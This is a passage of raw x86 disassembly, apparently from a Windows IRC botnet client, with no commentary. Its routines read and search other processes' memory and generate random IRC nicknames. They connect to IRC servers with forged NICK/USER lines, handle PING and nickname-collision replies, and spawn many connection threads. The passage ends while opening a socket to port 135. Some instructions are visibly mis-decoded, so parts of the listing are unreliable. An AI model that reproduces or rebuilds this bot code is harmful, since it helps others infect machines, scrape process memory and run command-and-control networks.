ebx, ds:dword_428154 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jnz short loc_417351 xor esi, esi jmp loc_41746C ; --------------------------------------------------------------------------- loc_417351: ; CODE XREF: sub_4172D8+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call ds:dword_428150 ; VirtualQueryEx test eax, eax jz loc_41745B mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_41745B test [ebp+var_2B], 1 jnz loc_41745B ; CODE XREF: sub_4172D8+128j push [ebp+var_34] push 8 call esi ; GetProcessHeap push eax call edi ; RtlAllocateHeap mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx ; ReadProcessMemory test eax, eax jz loc_41745B loc_4173B4: ; CODE XREF: sub_4172D8+110j push edi push offset dword_4D5A20 call sub_426A24 pop ecx test eax, eax pop ecx jnz short loc_4173DC lea eax, [edi+200h] push eax push offset dword_4D6220 call sub_426A24 pop ecx test eax, eax pop ecx jz short loc_4173EC loc_4173DC: ; CODE XREF: sub_4172D8+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jb short loc_4173B4 jmp short loc_41745B ; --------------------------------------------------------------------------- loc_4173EC: ; CODE XREF: sub_4172D8+102j test edi, edi jz short loc_41745B lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 0B10000h loop near ptr loc_417384+3 sal byte ptr [edx-73h], 45h fcom qword ptr [eax-73h] inc ebp in al, dx push eax call near ptr 0B10000h adc eax, 1074C085h mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax movzx eax, byte ptr [edi+42Dh] mov ds:dword_4D6C40, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov ds:dword_4D6C38, eax mov ds:dword_4D6C3C, edi loc_41745B: ; CODE XREF: sub_4172D8+90j ; sub_4172D8+A2j ... push [ebp+arg_0] push 0 call esi ; GetProcessHeap push eax call ds:dword_428144 ; RtlFreeHeap mov esi, [ebp+var_10] loc_41746C: ; CODE XREF: sub_4172D8+74j push [ebp+var_4] call ds:dword_42806C ; CloseHandle pop edi mov eax, esi pop ebx pop esi leave retn sub_4172D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41747C proc near ; CODE XREF: sub_416F7D:loc_417075p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push [ebp+arg_0] push 0 push 410h call near ptr 0B10000h wait test eax, eax mov [ebp+arg_0], eax jnz short loc_41749B leave retn ; --------------------------------------------------------------------------- loc_41749B: ; CODE XREF: sub_41747C+1Bj mov eax, [ebp+arg_4] push ebx push esi push edi and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call ds:dword_428158 ; GetSystemInfo mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417563 mov edi, ds:dword_42814C loc_4174C5: ; CODE XREF: sub_41747C+E1j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call ds:dword_428150 ; VirtualQueryEx test eax, eax jz short loc_417551 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_417557 test [ebp+var_13], 1 jnz short loc_417557 push ecx push 8 call edi ; GetProcessHeap push eax call ds:dword_428148 ; RtlAllocateHeap mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] call near ptr 0B10000h pop edi test eax, eax jz short loc_417543 push offset dword_4D5A20 push esi call sub_426A24 pop ecx test eax, eax pop ecx jnz short loc_417543 lea eax, [esi+400h] push offset dword_4D6220 push eax call sub_426A24 pop ecx test eax, eax pop ecx jz short loc_417575 loc_417543: ; CODE XREF: sub_41747C+9Dj ; sub_41747C+AEj push esi push 0 call edi ; GetProcessHeap push eax call ds:dword_428144 ; RtlFreeHeap jmp short loc_417557 ; --------------------------------------------------------------------------- loc_417551: ; CODE XREF: sub_41747C+5Bj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_417557: ; CODE XREF: sub_41747C+6Fj ; sub_41747C+75j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_4174C5 loc_417563: ; CODE XREF: sub_41747C+3Dj xor esi, esi loc_417565: ; CODE XREF: sub_41747C+12Bj push [ebp+arg_0] call ds:dword_42806C ; CloseHandle mov eax, esi pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417575: ; CODE XREF: sub_41747C+C5j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov ds:dword_4D6C38, ebx mov ds:dword_4D6C3C, eax cmp [eax], cl jnz short loc_417597 cmp [eax+1], cl jz short loc_41759F loc_417597: ; CODE XREF: sub_41747C+114j ; sub_41747C+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417597 loc_41759F: ; CODE XREF: sub_41747C+119j mov eax, [ebp+arg_4] xor esi, esi inc esi mov [eax], ecx jmp short loc_417565 sub_41747C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4175A9 proc near ; CODE XREF: sub_416F7D+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, ds:dword_4D6C34 push esi mov esi, ds:dword_42814C push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi ; GetProcessHeap push eax call ds:dword_428148 ; RtlAllocateHeap mov ecx, ds:dword_4D6C34 mov [ebp+var_4], eax add ecx, ecx push ecx push ds:dword_4D6C3C push eax call sub_41C500 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr ds:dword_4D6C40 push eax call ds:dword_4D6A24 push [ebp+var_4] mov edi, offset dword_4D6A30 push offset dword_4D5A20 push offset dword_4D6220 push [ebp+arg_0] push offset dword_43A7B8 push 200h push edi call sub_41BB70 add esp, 1Ch push [ebp+var_4] push 0 call esi ; GetProcessHeap push eax call ds:dword_428144 ; RtlFreeHeap mov eax, edi pop edi pop esi leave retn sub_4175A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417640 proc near ; CODE XREF: sub_416F7D:loc_4170B9p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, ds:dword_4D6C34 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call ds:dword_42814C ; GetProcessHeap push eax call ds:dword_428148 ; RtlAllocateHeap and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D6220 mov edi, 200h mov esi, offset dword_4D5820 loc_417686: ; CODE XREF: sub_417640+FAj mov eax, ds:dword_4D6C34 add eax, eax push eax push ds:dword_4D6C3C push [ebp+var_14] call sub_41C500 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call ds:dword_4D6A24 mov eax, ds:dword_4D6C34 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176FB loc_4176C3: ; CODE XREF: sub_417640+B3j cmp [ebp+var_8], 0 jz short loc_417718 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4176E7 cmp byte ptr [ecx+1], 0 jnz short loc_4176E7 cmp dl, 20h jnb short loc_4176E1 and [ebp+var_8], 0 loc_4176E1: ; CODE XREF: sub_417640+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4176EB loc_4176E7: ; CODE XREF: sub_417640+90j ; sub_417640+96j and [ebp+var_8], 0 loc_4176EB: ; CODE XREF: sub_417640+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_4176C3 cmp [ebp+var_8], 0 jz short loc_417718 loc_4176FB: ; CODE XREF: sub_417640+81j push [ebp+var_14] push offset dword_4D5A20 push ebx push [ebp+arg_0] push offset dword_43A7B8 push edi push esi call sub_41BB70 add esp, 1Ch jmp short loc_417730 ; --------------------------------------------------------------------------- loc_417718: ; CODE XREF: sub_417640+87j ; sub_417640+B9j push offset dword_4D5A20 push ebx push [ebp+arg_0] push offset dword_43A808 push edi push esi call sub_41BB70 add esp, 18h loc_417730: ; CODE XREF: sub_417640+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_417686 push [ebp+var_14] push 0 call ds:dword_42814C ; GetProcessHeap push eax call ds:dword_428144 ; RtlFreeHeap mov eax, esi pop edi pop esi pop ebx leave retn sub_417640 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417759 proc near ; CODE XREF: seg000:004162FFp ; sub_41791B+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call ds:dword_4CDC78 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4177D5 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B780 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call ds:dword_4CDBF8 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call ds:dword_4CDC38 ; inet_addr cmp eax, esi jnz short loc_4177BA push [ebp+arg_0] call ds:dword_4CDC7C ; gethostbyname test eax, eax jz short loc_4177D5 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_4177BA: ; CODE XREF: sub_417759+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call ds:dword_4CDBA0 ; connect cmp eax, esi jnz short loc_4177D9 push edi call ds:dword_4CDC90 ; closesocket loc_4177D5: ; CODE XREF: sub_417759+1Bj ; sub_417759+58j mov eax, esi jmp short loc_4177DB ; --------------------------------------------------------------------------- loc_4177D9: ; CODE XREF: sub_417759+73j mov eax, edi loc_4177DB: ; CODE XREF: sub_417759+7Ej pop edi pop esi leave retn sub_417759 endp ; =============== S U B R O U T I N E ======================================= sub_4177DF proc near ; CODE XREF: seg000:00404DA4p ; seg000:00404E0Dp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42B0FC ; "\n" push edi call sub_41C0B0 pop ecx mov esi, offset dword_4D6C4C pop ecx loc_4177F7: ; CODE XREF: sub_4177DF+42j cmp dword ptr [esi-4], 1 jnz short loc_417815 cmp dword ptr [esi], 0 jbe short loc_417815 push 0 push edi call sub_41B1D0 pop ecx push eax push edi push dword ptr [esi] call ds:dword_4CDC48 ; send loc_417815: ; CODE XREF: sub_4177DF+1Cj ; sub_4177DF+21j add esi, 210h cmp esi, offset dword_4DD36C jl short loc_4177F7 pop edi pop esi retn sub_4177DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417826 proc near ; CODE XREF: sub_41791B+14Fp var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42E0C8 ; " " push edi push esi push [ebp+arg_0] call sub_41C2E4 xor edi, edi pop ecx inc edi pop ecx mov [ebp+var_20], eax xor ebx, ebx loc_41784A: ; CODE XREF: sub_417826+35j push esi push ebx call sub_41C2E4 mov [ebp+edi*4+var_20], eax inc edi pop ecx cmp edi, 8 pop ecx jl short loc_41784A cmp [ebp+var_20], ebx mov esi, [ebp+var_1C] jnz short loc_417871 cmp esi, ebx jnz short loc_417871 xor eax, eax inc eax jmp loc_417916 ; --------------------------------------------------------------------------- loc_417871: ; CODE XREF: sub_417826+3Dj ; sub_417826+41j push [ebp+var_20] push offset aPing ; "PING" call sub_41C260 pop ecx pop ecx test eax, eax push esi jnz short loc_41789B lea eax, [ebp+var_220] push offset dword_43B41C push eax call sub_41BA76 add esp, 0Ch jmp short loc_4178F5 ; --------------------------------------------------------------------------- loc_41789B: ; CODE XREF: sub_417826+5Dj push offset a433 ; "433" call sub_41C260 pop ecx test eax, eax pop ecx jz short loc_4178BC push esi push offset dword_43B418 call sub_41C260 pop ecx test eax, eax pop ecx jnz short loc_417914 loc_4178BC: ; CODE XREF: sub_417826+83j push 200h lea eax, [ebp+var_420] push ebx push eax call sub_41B780 lea eax, [ebp+var_420] push eax call sub_417B38 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset dword_43B40C push eax call sub_41BA76 add esp, 1Ch loc_4178F5: ; CODE XREF: sub_417826+73j lea eax, [ebp+var_220] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call ds:dword_4CDC48 ; send loc_417914: ; CODE XREF: sub_417826+94j xor eax, eax loc_417916: ; CODE XREF: sub_417826+46j pop edi pop esi pop ebx leave retn sub_417826 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41791B proc near ; DATA XREF: sub_417ABA+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BD10 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h xor edi, edi push ds:dword_4D6E54[esi] lea eax, dword_4D6C54[esi] inc edi push eax mov ds:dword_4D6C48[esi], edi call sub_417759 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov ds:dword_4D6C4C[esi], eax jb loc_417A9A mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B780 lea eax, [ebp+var_2008] push eax call sub_417B38 lea eax, [ebp+var_4008] push eax call sub_417B38 lea eax, [ebp+var_3008] push eax call sub_417B38 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41BA76 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41B1D0 pop ecx push eax lea eax, [ebp+var_1008] push eax push ds:dword_4D6C4C[esi] call ds:dword_4CDC48 ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B780 add esp, 0Ch loc_4179F4: ; CODE XREF: sub_41791B+17Aj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push ds:dword_4D6C4C[esi] call ds:dword_4CDC10 ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A9A xor eax, eax cmp [ebp+var_8], ebx jmp short loc_417A90 ; --------------------------------------------------------------------------- loc_417A28: ; CODE XREF: sub_41791B+178j mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417A4F cmp al, 0Ah jz short loc_417A4F cmp [ebp+arg_0], 0FA0h jz short loc_417A4F mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A89 ; --------------------------------------------------------------------------- loc_417A4F: ; CODE XREF: sub_41791B+116j ; sub_41791B+11Aj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A89 push ds:dword_4D6C4C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417826 pop ecx test eax, eax pop ecx ja short loc_417A9A push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B780 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A89: ; CODE XREF: sub_41791B+132j ; sub_41791B+139j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] loc_417A90: ; CODE XREF: sub_41791B+10Bj mov [ebp+var_4], eax jnz short loc_417A28 jmp loc_4179F4 ; --------------------------------------------------------------------------- loc_417A9A: ; CODE XREF: sub_41791B+40j ; sub_41791B+104j ... mov ds:dword_4D6C48[esi], ebx mov esi, ds:dword_4D6C4C[esi] cmp esi, ebx jbe short loc_417AB1 push esi call ds:dword_4CDC90 ; closesocket loc_417AB1: ; CODE XREF: sub_41791B+18Dj pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_41791B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ABA proc near ; CODE XREF: seg000:00404CF7p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417B33 loc_417ACC: ; CODE XREF: sub_417ABA+77j xor edi, edi mov eax, offset dword_4D6C48 loc_417AD3: ; CODE XREF: sub_417ABA+28j cmp [eax], ebx jz short loc_417AE4 add eax, 210h inc edi cmp eax, offset dword_4DD368 jl short loc_417AD3 loc_417AE4: ; CODE XREF: sub_417ABA+1Bj cmp edi, 31h jz short loc_417B33 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D6C54[esi] push eax call sub_41C0A0 mov eax, [ebp+arg_4] pop ecx mov ds:dword_4D6E54[esi], eax pop ecx lea eax, [ebp+var_8] mov ds:dword_4D6C48[esi], 1 push eax push ebx push edi push offset sub_41791B push ebx push ebx call ds:dword_42807C ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417ACC loc_417B33: ; CODE XREF: sub_417ABA+10j ; sub_417ABA+2Dj pop edi pop esi pop ebx leave retn sub_417ABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B38 proc near ; CODE XREF: seg000:0040524Ap ; seg000:0040528Dp ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B780 add esp, 0Ch call sub_41BAD2 mov [ebp+var_4], eax fild [ebp+var_4] fmul ds:dbl_4286F8 call sub_41C988 cmp eax, 1 jnz short loc_417B82 call sub_41BAD2 call sub_41BAD2 push 66h cdq pop ecx idiv ecx push ds:off_43AB60[edx*4] jmp short loc_417B9B ; --------------------------------------------------------------------------- loc_417B82: ; CODE XREF: sub_417B38+2Fj call sub_41BAD2 call sub_41BAD2 cdq mov ecx, 0C0h idiv ecx push ds:off_43A860[edx*4] loc_417B9B: ; CODE XREF: sub_417B38+48j lea eax, [ebp+var_2C] push eax call sub_41C0A0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B1D0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax call sub_41BAD2 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul ds:dbl_4286F0 call sub_41C988 mov ebx, eax call sub_41BAD2 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fimul [ebp+var_4] fmul ds:dbl_4286E8 call sub_41C988 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417C0E cmp esi, 3 jnz short loc_417C05 cmp ebx, 1 jz short loc_417C0E loc_417C05: ; CODE XREF: sub_417B38+C6j cmp eax, 1 jnz loc_417CC7 loc_417C0E: ; CODE XREF: sub_417B38+C1j ; sub_417B38+CBj call sub_41BAD2 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul ds:dbl_4286E0 call sub_41C988 push ds:off_43AB60[eax*4] lea eax, [ebp+var_40] push eax call sub_41C0A0 lea ebx, [ebp+esi+var_2C] movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C1A0 add esp, 10h test eax, eax jnz short loc_417CB4 movsx eax, [ebp+var_40] push eax push edi call sub_41C1A0 pop ecx test eax, eax pop ecx jnz short loc_417CB4 call sub_41BAD2 mov dword ptr [ebp+var_10+4], eax dec esi fild dword ptr [ebp+var_10+4] mov dword ptr [ebp+var_10+4], esi fild dword ptr [ebp+var_10+4] fmulp st(1), st fmul ds:dbl_4286E8 call sub_41C988 cmp eax, 1 jnz short loc_417CB4 push edi call sub_41B1D0 and dword ptr [ebp+var_10+4], 0 mov dword ptr [ebp+var_10], eax fild [ebp+var_10] pop ecx fstp qword ptr [ebp-8] call sub_41BAD2 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul qword ptr [ebp-8] fmul ds:dbl_4286E8 call sub_41C988 mov al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417CB4: ; CODE XREF: sub_417B38+110j ; sub_417B38+121j ... push dword ptr [ebp+var_18+4] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C3D0 add esp, 0Ch loc_417CC7: ; CODE XREF: sub_417B38+D0j lea eax, [ebp+var_2C] push eax call sub_41B1D0 mov esi, eax mov [ebp+var_4], esi movsx eax, [ebp+esi+var_2D] push eax call sub_41D868 pop ecx test eax, eax pop ecx jnz loc_417F1E movsx eax, [ebp+esi+var_2D] push eax push edi xor ebx, ebx call sub_41C1A0 pop ecx test eax, eax pop ecx jnz loc_417E20 call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4286E8 call sub_41C988 cmp esi, 3 jz short loc_417D31 cmp eax, 1 jnz loc_417E20 loc_417D31: ; CODE XREF: sub_417B38+1EEj push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D75 push edi call sub_41B1D0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul ds:dbl_4286E8 call sub_41C988 mov al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417D93 ; --------------------------------------------------------------------------- loc_417D75: ; CODE XREF: sub_417B38+202j call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286D8 call sub_41C988 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417D93: ; CODE XREF: sub_417B38+23Bj inc esi xor ebx, ebx mov [ebp+var_4], esi inc ebx call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286D0 call sub_41C988 cmp esi, 3 jz short loc_417DB9 cmp eax, ebx jnz short loc_417E20 loc_417DB9: ; CODE XREF: sub_417B38+27Bj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DFE push edi call sub_41B1D0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul ds:dbl_4286E8 call sub_41C988 mov al, byte ptr ds:a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417E1C ; --------------------------------------------------------------------------- loc_417DFE: ; CODE XREF: sub_417B38+28Bj call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286D8 call sub_41C988 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417E1C: ; CODE XREF: sub_417B38+2C4j inc esi mov [ebp+var_4], esi loc_417E20: ; CODE XREF: sub_417B38+1C4j ; sub_417B38+1F3j ... cmp esi, 6 jge short loc_417EA0 call sub_41BAD2 cmp esi, 5 jge short loc_417E3D mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286F0 jmp short loc_417E56 ; --------------------------------------------------------------------------- loc_417E3D: ; CODE XREF: sub_417B38+2F5j push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul ds:dbl_4286E8 loc_417E56: ; CODE XREF: sub_417B38+303j call sub_41C988 test eax, eax jnz short loc_417E79 call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286C8 call sub_41C988 mov cl, 30h jmp short loc_417E96 ; --------------------------------------------------------------------------- loc_417E79: ; CODE XREF: sub_417B38+325j cmp eax, 1 jnz short loc_417EA0 call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286D8 call sub_41C988 mov cl, 41h loc_417E96: ; CODE XREF: sub_417B38+33Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417EA0: ; CODE XREF: sub_417B38+2EBj ; sub_417B38+344j cmp ebx, 2 jge short loc_417F1E call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul ds:dbl_4286E8 call sub_41C988 cmp eax, 1 jnz short loc_417F1E call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286C8 call sub_41C988 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286C0 call sub_41C988 cmp eax, 1 jnz short loc_417F1E cmp ebx, eax jge short loc_417F1E call sub_41BAD2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul ds:dbl_4286B8 call sub_41C988 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417F1E: ; CODE XREF: sub_417B38+1ACj ; sub_417B38+36Bj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B7E0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417B38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F37 proc near ; CODE XREF: sub_417F6F+125p ; sub_417F6F+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_417F65 loc_417F48: ; CODE XREF: sub_417F37+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41D8C0 add esp, 0Ch test eax, eax jz short loc_417F6B inc esi cmp esi, edi jl short loc_417F48 loc_417F65: ; CODE XREF: sub_417F37+Fj xor al, al loc_417F67: ; CODE XREF: sub_417F37+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_417F6B: ; CODE XREF: sub_417F37+27j mov al, 1 jmp short loc_417F67 sub_417F37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F6F proc near ; CODE XREF: sub_40DDDF+8Bp var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41BD10 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_417FB0 dec eax jz short loc_417F8E dec eax loc_417F88: ; CODE XREF: sub_417F6F+57j xor eax, eax loc_417F8A: ; CODE XREF: sub_417F6F+3Fj ; sub_417F6F+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_417F8E: ; CODE XREF: sub_417F6F+16j push 3 push 1388h push [ebp+arg_0] call ds:dword_4CDC38 ; inet_addr push eax call sub_40BEF1 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_417F8A ; --------------------------------------------------------------------------- loc_417FB0: ; CODE XREF: sub_417F6F+13j push 6 push 1 push 2 call ds:dword_4CDC78 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_417F88 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41B780 add esp, 0Ch mov [ebp+var_10], 2 push 87h call ds:dword_4CDBF8 ; htons push 